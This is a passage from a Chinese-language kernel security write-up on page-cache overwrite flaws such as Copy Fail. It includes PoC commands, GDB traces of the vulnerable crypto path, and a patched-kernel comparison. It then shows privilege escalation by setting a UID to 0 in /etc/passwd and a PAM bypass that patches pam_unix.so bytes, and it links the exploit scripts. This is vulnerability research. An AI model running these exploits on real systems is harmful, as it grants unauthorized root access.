00000000  41 41 42 42 43 43 44 44  20 45 45 46 46 47 47 48  |AABBCCDD EEFFGGH|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000010  48 20 49 49 4a 4a 4b 4b  4c 4c 20 4d 4d 4e 4e 4f  |H IIJJKKLL MMNNO|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000020  4f 50 50 0a                                        |OPP.|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 2. 第一次写入: offset 0, value 0xDEADBEEF</span></span><span leaf=""><br/></span><span leaf="">poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Target: /tmp/target.txt</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Offset: 0 (0x0)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Value:  0xdeadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Writing 4 bytes to page cache...</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] Done. Page cache of /tmp/target.txt at offset 0 should now contain 0xdeadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 3. 验证写入结果</span></span><span leaf=""><br/></span><span leaf="">hexdump -C /tmp/target.txt | <span class="code-snippet__built_in">head</span> -2</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000  ef be ad de 43 43 44 44  20 45 45 46 46 47 47 48  |....CCDD EEFFGGH|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#           ^^^^^^^^^^^</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#           0xDEADBEEF (little-endian)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 4. 第二次写入: offset 8, value 0xCAFEBABE</span></span><span leaf=""><br/></span><span leaf="">poc_pagecache_write /tmp/target.txt 8 0xCAFEBABE</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 5. 验证两次写入互不干扰</span></span><span leaf=""><br/></span><span leaf="">hexdump -C /tmp/target.txt | <span class="code-snippet__built_in">head</span> -2</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000  ef be ad de 43 43 44 44  be ba fe ca 46 47 47 48  |....CCDD....FGGH|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#                                    ^^^^^^^^^^^</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#                                    0xCAFEBABE (little-endian)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 6. drop_caches 行为验证 (tmpfs 上的文件不会恢复)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">hexdump -C /tmp/target.txt | <span class="code-snippet__built_in">head</span> -2</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000  ef be ad de 43 43 44 44  be ba fe ca 46 47 47 48  |....CCDD....FGGH|</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># ↑ tmpfs: 数据只存在于 page cache, drop_caches 不驱逐</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># ↑ 磁盘文件系统 (ext4): drop_caches 后会从磁盘重新加载原始数据</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v5o7" style="font-size: 15px;"><strong><span leaf="">结论</span></strong><span leaf="">：4 字节 page cache 写入原语有效，偏移精确可控，多次写入互不干扰。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v20wk" style="font-size: 15px;"><span leaf="">4.3.3 实验 2：GDB 证据链 — SGL 布局与 Scratch Write</span></span></h4><p><span mpa-font-style="mp0kvm4v1fdc" style="font-size: 15px;"><span leaf="">这是最关键的实验：通过 GDB 在</span><code><span leaf="">crypto_authenc_esn_decrypt</span></code><span leaf="">入口处观察</span><code><span leaf="">req-&gt;src == req-&gt;dst</span></code><span leaf="">（证实 in-place），并追踪</span><code><span leaf="">scatterwalk_map_and_copy</span></code><span leaf="">的写操作落在 page cache page 上。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vnk4"><span leaf=""><span class="code-snippet__comment"># === 终端 1: 启动 QEMU (debug 模式) ===</span></span><span leaf=""><br/></span><span leaf="">./run_qemu.sh debug</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># === Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># === 终端 2: 连接 GDB，加载 Python 断点脚本 ===</span></span><span leaf=""><br/></span><span leaf="">gdb ./vmlinux -x exp3_2_gdb.py</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [GDB Script] Setting up breakpoints for Experiment 3.2+3.3...</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Breakpoint 1 at 0xffffffff812984f8: file crypto/authencesn.c, line 263.</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [GDB] BP1: crypto_authenc_esn_decrypt (entry)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Breakpoint 2 at 0xffffffff8128f93e: file crypto/scatterwalk.c, line 57.</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [GDB] BP2: scatterwalk_map_and_copy (writes only)</span></span><span leaf=""><br/></span><span leaf="">(gdb) target remote :1234</span><span leaf=""><br/></span><span leaf="">(gdb) <span class="code-snippet__built_in">continue</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vo7m" style="font-size: 15px;"><span leaf="">在 VM shell 中执行 PoC（</span><code><span leaf="">poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF</span></code><span leaf="">），GDB 自动捕获以下输出：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vmpv"><span leaf=""><span class="code-snippet__string">============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">===</span> <span class="code-snippet__string">crypto_authenc_esn_decrypt</span> <span class="code-snippet__string">ENTRY</span> <span class="code-snippet__string">===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">req</span>       <span class="code-snippet__string">=</span> <span class="code-snippet__number">0xffff888002d96a90</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">req-&gt;src</span>  <span class="code-snippet__string">=</span> <span class="code-snippet__number">0xffff888002d96820</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">req-&gt;dst</span>  <span class="code-snippet__string">=</span> <span class="code-snippet__number">0xffff888002d96820</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">src</span> <span class="code-snippet__string">==</span> </span><span leaf="">dst:</span><span leaf=""><span class="code-snippet__literal">YES</span> <span class="code-snippet__string">(IN-PLACE!)</span>          <span class="code-snippet__string">←</span> <span class="code-snippet__string">漏洞根因确认</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">assoclen</span>  <span class="code-snippet__string">=</span> <span class="code-snippet__number">8</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">cryptlen</span>  <span class="code-snippet__string">=</span> <span class="code-snippet__number">4</span> <span class="code-snippet__string">(before</span> <span class="code-snippet__string">-=</span> <span class="code-snippet__string">authsize)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">---</span> <span class="code-snippet__string">dst</span> <span class="code-snippet__string">SGL</span> <span class="code-snippet__string">entries</span> <span class="code-snippet__string">---</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">SGL[0]:</span> <span class="code-snippet__string">page_link=0xffffea000006f440</span> <span class="code-snippet__string">offset=1760</span> <span class="code-snippet__string">length=8</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">SGL[1]:</span> <span class="code-snippet__string">page_link=0xffff8880027cbda1</span> <span class="code-snippet__string">offset=0</span> <span class="code-snippet__string">length=0</span> [<span class="code-snippet__string">CHAIN</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">SGL[2]:</span> <span class="code-snippet__string">page_link=0xffffea000006f8c2</span> <span class="code-snippet__string">offset=0</span> <span class="code-snippet__string">length=4</span> [<span class="code-snippet__string">LAST</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">===</span> [<span class="code-snippet__string">HIT</span> <span class="code-snippet__number">1</span>] <span class="code-snippet__string">scatterwalk_map_and_copy</span> <span class="code-snippet__string">WRITE</span> <span class="code-snippet__string">===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">buf=0xffffc90000113d20</span> <span class="code-snippet__string">sg=0xffff888002d96820</span> <span class="code-snippet__string">start=4</span> <span class="code-snippet__string">nbytes=4</span></span><span leaf=""><br/></span><span leaf="">writing value:</span><span leaf=""><span class="code-snippet__number">0x41414141</span></span><span leaf=""><br/></span><span leaf="">backtrace:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#0 scatterwalk_map_and_copy</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#1 crypto_authenc_esn_decrypt      ← seqno_hi 写入 dst[4..7]</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#2 _aead_recvmsg</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#3 aead_recvmsg</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#4 sock_recvmsg_nosec</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#5 sock_recvmsg</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">===</span> [<span class="code-snippet__string">HIT</span> <span class="code-snippet__number">2</span>] <span class="code-snippet__string">scatterwalk_map_and_copy</span> <span class="code-snippet__string">WRITE</span> <span class="code-snippet__string">===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">buf=0xffffc90000113d24</span> <span class="code-snippet__string">sg=0xffff888002d96820</span> <span class="code-snippet__string">start=8</span> <span class="code-snippet__string">nbytes=4</span></span><span leaf=""><br/></span><span leaf="">writing value:</span><span leaf=""><span class="code-snippet__number">0xdeadbeef</span>            <span class="code-snippet__string">←</span> <span class="code-snippet__string">★</span> </span><span leaf="">SCRATCH WRITE:</span><span leaf=""><span class="code-snippet__string">命中</span> <span class="code-snippet__string">page</span> <span class="code-snippet__string">cache!</span></span><span leaf=""><br/></span><span leaf="">backtrace:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#0 scatterwalk_map_and_copy</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#1 crypto_authenc_esn_decrypt      ← dst[assoclen+cryptlen] = dst[8+0] = page cache</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#2 _aead_recvmsg</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">...</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">===</span> [<span class="code-snippet__string">HIT</span> <span class="code-snippet__number">3</span>] <span class="code-snippet__string">scatterwalk_map_and_copy</span> <span class="code-snippet__string">WRITE</span> <span class="code-snippet__string">===</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">buf=0xffffc90000113cc8</span> <span class="code-snippet__string">sg=0xffff888002d96820</span> <span class="code-snippet__string">start=0</span> <span class="code-snippet__string">nbytes=8</span></span><span leaf=""><br/></span><span leaf="">writing value:</span><span leaf=""><span class="code-snippet__number">0x41414141</span></span><span leaf=""><br/></span><span leaf="">backtrace:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#0 scatterwalk_map_and_copy</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#1 crypto_authenc_esn_decrypt_tail ← ESN header 恢复 (HMAC 后清理)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">...</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v1db7" style="font-size: 15px;"><strong><span leaf="">GDB 输出的关键解读</span></strong><span leaf="">：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2324074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131139" src="https://wechat2rss.xlab.app/img-proxy/?k=c346a513&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0egxvK6ia3CQdp87srxMnwjDvUibl8WhxDktiatXYsrghwfMQibmJyICw46oLriararfrnJibenLS5eIibnIfCgF4k7HSKnp3deGbTbA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="mp0kvm4v1y17" style="font-size: 15px;"><span leaf="">SGL 布局验证完毕，调用链</span><code><span leaf="">recv()</span></code><span leaf="">→</span><code><span leaf="">_aead_recvmsg</span></code><span leaf="">→</span><code><span leaf="">crypto_authenc_esn_decrypt</span></code><span leaf="">→</span><code><span leaf="">scatterwalk_map_and_copy(WRITE)</span></code><span leaf="">→ page cache 已完整捕获。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vo4t" style="font-size: 15px;"><span leaf="">4.3.4 实验 3：修复版内核对比</span></span></h4><p><span mpa-font-style="mp0kvm4v2kl" style="font-size: 15px;"><span leaf="">在相同环境下，替换为打了补丁</span><code><span leaf="">a664bf3d603d</span></code><span leaf="">的 6.12.85 内核重复实验：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vxsp"><span leaf=""><span class="code-snippet__comment"># 使用修复版内核启动</span></span><span leaf=""><br/></span><span leaf="">BZIMAGE</span><span leaf="">=bzImage.patched VMLINUX=vmlinux.patched ./run_qemu.sh debug</span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v1tzs" style="font-size: 15px;">GDB 输出对比：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v196q"><span leaf=""><span class="code-snippet__comment">============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">=== crypto_authenc_esn_decrypt ENTRY ===</span></span><span leaf=""><br/></span><span leaf="">  req       = 0xffff888002dcea90</span><span leaf=""><br/></span><span leaf="">  req-&gt;src  = 0xffff888002e6d880</span><span leaf=""><br/></span><span leaf="">  req-&gt;dst  = 0xffff888002dce820</span><span leaf=""><br/></span><span leaf="">  src == dst: NO                       ← 修复: out-of-place 模式</span><span leaf=""><br/></span><span leaf="">  assoclen  = 8</span><span leaf=""><br/></span><span leaf="">  cryptlen  = 4 (before -= authsize)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">============================================================</span></span><span leaf=""><br/></span><span leaf="">  --- dst SGL entries ---</span><span leaf=""><br/></span><span leaf="">  SGL[0]: page_link=0xffffea000006f582 offset=1760 length=8 [LAST]</span><span leaf=""><br/></span><span leaf="">                                                              ^^^^</span><span leaf=""><br/></span><span leaf="">  ↑ 仅 1 个 entry, 无 CHAIN, 无 page cache page!</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">=== [HIT 1] scatterwalk_map_and_copy WRITE ===</span></span><span leaf=""><br/></span><span leaf="">  writing value: 0x41414141</span><span leaf=""><br/></span><span leaf="">  sg-&gt;page_link = 0xffffea000006f582   ← 写入 RX buffer (用户空间), 安全</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">=== [HIT 2] scatterwalk_map_and_copy WRITE ===</span></span><span leaf=""><br/></span><span leaf="">  writing value: 0xdeadbeef</span><span leaf=""><br/></span><span leaf="">  sg-&gt;page_link = 0xffffea000006f582   ← 同样写入 RX buffer, 无副作用</span></code></pre></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2712962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131140" src="https://wechat2rss.xlab.app/img-proxy/?k=1c8da5a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2rqG7xqhg9mFibqoTJFDow3FbEXH5EVal4lRfg4cvaOrPmyFsNxvGSutVHHR2N9e7Umpic38FEpicAPg9D31l4zrsSetUuTSDs9c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">五、</span><span leaf="">一个反复出现的漏洞模式：页缓存覆写</span></strong></p></div></div></div></div></div></div><h2><span mpa-font-style="mp0kvm4v16z8"><span leaf="" style="font-size: 15px;">2022 年的 Dirty Pipe、2026 年的 Copy Fail 和紧随其后的 Dirty Frag 共享一个明确的漏洞模式：</span><code><span leaf="">splice()</span></code><span leaf="">零拷贝将文件的 page cache page 引用传入内核子系统，该子系统的某条代码路径对这些引用执行写操作（pipe merge、crypto scratch write、in-place decrypt），导致文件页缓存被篡改。这一模式已在三个独立的内核子系统中反复出现：</span></span></h2><div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2574074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131141" src="https://wechat2rss.xlab.app/img-proxy/?k=8aa101b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2VTTicJ64n3jSg5ErFrCWKsVeR2ibwD1ZBZaE6LmroYJ4oVGhbyYURHNibEZMqo7HupwpltZkpdCicQfLtaQjHF6XicPskHWvJ8h4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p><span mpa-font-style="mp0kvm4vdo5" style="font-size: 15px;"><span leaf="">三者的触发路径各不相同，但共享同一核心结果：内核代码路径绕过 VFS 写权限检查，通过 splice 注入的 page 引用直接修改文件页缓存内容。由于修改不经过 VFS 写路径，页面不会被标记为 dirty，磁盘上的原始文件不受影响——篡改仅存在于内存中的页缓存，重启或</span><code><span leaf="">drop_caches</span></code><span leaf="">后恢复。</span></span></p><p><span leaf=""><img data-aistatus="1" alt="页缓存覆写漏洞族谱" class="rich_pages wxw-img" data-ratio="0.75" data-type="webp" data-w="1448" style="max-width: 100%;" data-imgfileid="311131130" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1c3fe1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K31vq2M7Db0JpQicHZUmC5UIjJFiaZdGibbiboUwHpnnKSLrE7K7qJLkOcehfxaNfEzgib2icToqtUcruaNiaQgveG6AG6l96jIvgLG0w%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span mpa-font-style="mp0kvm4v1cs2" style="font-size: 15px;"><span leaf="">更早的Dirty COW(CVE-2016-5195, 2016) 通过完全不同的机制（</span><code><span leaf="">mmap</span></code><span leaf="">COW 竞态条件 + GUP）达到了相似的结果——非授权修改文件数据。但 Dirty COW 不涉及 splice 或 in-place 操作，其竞态成功后修改会通过 page writeback 写回磁盘（设置 PG_dirty），属于不同类别的漏洞。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v1dw5" style="font-size: 15px;">原语等价，利用面自然也相同。以下以 Copy Fail 为例，展示&#34;对任意可读文件页缓存的 4 字节可控写入&#34;这一原语在宿主机上除 SUID 文件之外的其他攻击面——以下所有路径均已在 CentOS Stream 8（未修补内核 4.18.0-553）上实验确认可行，结论对同类页缓存覆写漏洞通用。</span></p><blockquote><p style="text-align: left;"><span leaf="" mpa-font-style="mp0kvm4v1sg2" style="font-size: 15px;">实验代码</span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp0kvm4v1rc0" style="font-size: 15px;">本节涉及的所有 PoC 脚本：</span><span leaf=""><a href="https://github.com/0xlane/pagecache-guard/tree/main/poc/host-attacks" target="_blank">https://github.com/0xlane/pagecache-guard/tree/main/poc/host-attacks</a></span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1ln8" style="font-size: 15px;"><span leaf="">5.1 /etc/passwd UID 篡改</span></span></h3><p><span mpa-font-style="mp0kvm4v1893" style="font-size: 15px;"><code><span leaf="">/etc/passwd</span></code><span leaf="">在所有 Linux 发行版上的权限均为 0644（世界可读），是此类漏洞利用的天然目标。</span></span></p><p><span mpa-font-style="mp0kvm4v175m" style="font-size: 15px;"><span leaf="">原理：将目标用户的 UID 字段从</span><code><span leaf="">1000</span></code><span leaf="">改为</span><code><span leaf="">0000</span></code><span leaf="">——仅修改一个 ASCII 字符。Linux 通过 UID 判断用户身份，UID 为 0 即 root。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vx9k"><span leaf=""># </span><span leaf="">修改前: testuser123:x:1000:1000::/home/testuser123:/bin/bash</span><span leaf=""><br/></span><span leaf="">python3 exp_passwd_uid.py testuser123</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] SUCCESS: UID changed to 0000 <span class="code-snippet__keyword">in</span> page cache</span><span leaf=""><br/></span><span leaf="">id testuser123</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">uid=0(root) gid=0(root) <span class="code-snippet__built_in">groups</span>=0(root)</span><span leaf=""><br/></span><span leaf="">su - testuser123</span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__built_in">whoami</span> → root</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">可以读 /etc/shadow ✅</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">恢复</span><span leaf=""><br/></span><span leaf="">echo 3 &gt; /proc/sys/vm/drop_caches</span></code></pre></p><p><span mpa-font-style="mp0kvm4v1xlj" style="font-size: 15px;"><span leaf="">仅 1 次 4 字节写入即可完成提权。无需 shellcode，无需了解 ELF 结构——所有发行版通用。修改未设置</span><code><span leaf="">PG_dirty</span></code><span leaf="">，</span><code><span leaf="">drop_caches</span></code><span leaf="">可恢复。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vn02" style="font-size: 15px;"><span leaf="">5.2 PAM 认证绕过</span></span></h3><p><span mpa-font-style="mp0kvm4vpt1" style="font-size: 15px;"><code><span leaf="">pam_unix.so</span></code><span leaf="">是 Linux 标准密码认证模块，权限通常为 0644。</span></span></p><p><span mpa-font-style="mp0kvm4vqik" style="font-size: 15px;"><span leaf="">原理：修改</span><code><span leaf="">pam_unix.so</span></code><span leaf="">中</span><code><span leaf="">pam_sm_authenticate</span></code><span leaf="">函数的密码校验逻辑——将返回值保存指令</span><code><span leaf="">mov %eax,%ebp</span></code><span leaf="">（89 c5）替换为</span><code><span leaf="">xor %ebp,%ebp</span></code><span leaf="">（31 ed），强制返回</span><code><span leaf="">PAM_SUCCESS</span></code><span leaf="">（0）：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v4r0"><span leaf="">; 密码校验后保存返回值</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0x3d5e</span>:  <span class="code-snippet__number">89</span> c5           mov  %eax, %ebp    ; 原始: 保存真实的校验结果</span><span leaf=""><br/></span><span leaf="">; 修改为:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0x3d5e</span>:  <span class="code-snippet__number">31</span> ed           <span class="code-snippet__keyword">xor</span>  %ebp, %ebp    ; 篡改: 强制清零 = PAM_SUCCESS</span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1q59"><span leaf="">python3 exp_pam_bypass.py</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Auto-detected patch offset: 0x3d5e</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Patching to: 31ede95e (xor %ebp,%ebp)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: pam_unix.so patched in page cache</span></span><span leaf=""><br/></span><span leaf="">su root</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Password: (任意输入)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># whoami → root ✅</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vamw" style="font-size: 15px;"><strong><span leaf="">持久性特殊</span></strong><span leaf="">：</span><code><span leaf="">sshd</span></code><span leaf="">、</span><code><span leaf="">login</span></code><span leaf="">、</span><code><span leaf="">sd-pam</span></code><span leaf="">等进程通过</span><code><span leaf="">mmap(MAP_PRIVATE)</span></code><span leaf="">加载了</span><code><span leaf="">pam_unix.so</span></code><span leaf="">。这些 mmap 引用使得</span><code><span leaf="">drop_caches</span></code><span leaf="">无法驱逐被篡改的页面——内核在</span><code><span leaf="">invalidate_inode_page()</span></code><span leaf="">中检测到</span><code><span leaf="">page_mapped()</span></code><span leaf="">为真时跳过驱逐。修改将持续到所有映射进程退出或文件 inode 被替换（</span><code><span leaf="">yum reinstall pam</span></code><span leaf="">）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vo8s" style="font-size: 15px;"><span leaf="">5.3 共享库 Live-Patching</span></span></h3><p><span mpa-font-style="mp0kvm4v2532" style="font-size: 15px;"><span leaf="">Linux 通过</span><code><span leaf="">mmap(MAP_PRIVATE)</span></code><span leaf="">加载</span><code><span leaf="">.so</span></code><span leaf="">共享库，所有使用同一库的进程共享同一组 page cache 物理页。修改</span><code><span leaf="">.so</span></code><span leaf="">的 page cache</span><strong><span leaf="">等价于</span></strong><span leaf="">修改所有已加载该库的运行中进程的代码或数据段——x86 缓存一致性协议确保写入对所有核心的指令和数据获取立即可见。</span></span></p><p><span mpa-font-style="mp0kvm4v2ux" style="font-size: 15px;"><span leaf="">实验在</span><code><span leaf="">libnss_files.so</span></code><span leaf="">（系统 NSS 名称解析库，0644）上验证，通过一个</span><strong><span leaf="">持续运行</span></strong><span leaf="">的监控进程观察修改效果：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1z20"><span leaf=""># </span><span leaf="">Step 1: 启动监控进程，持续读取 mmap 映射中的字符串</span><span 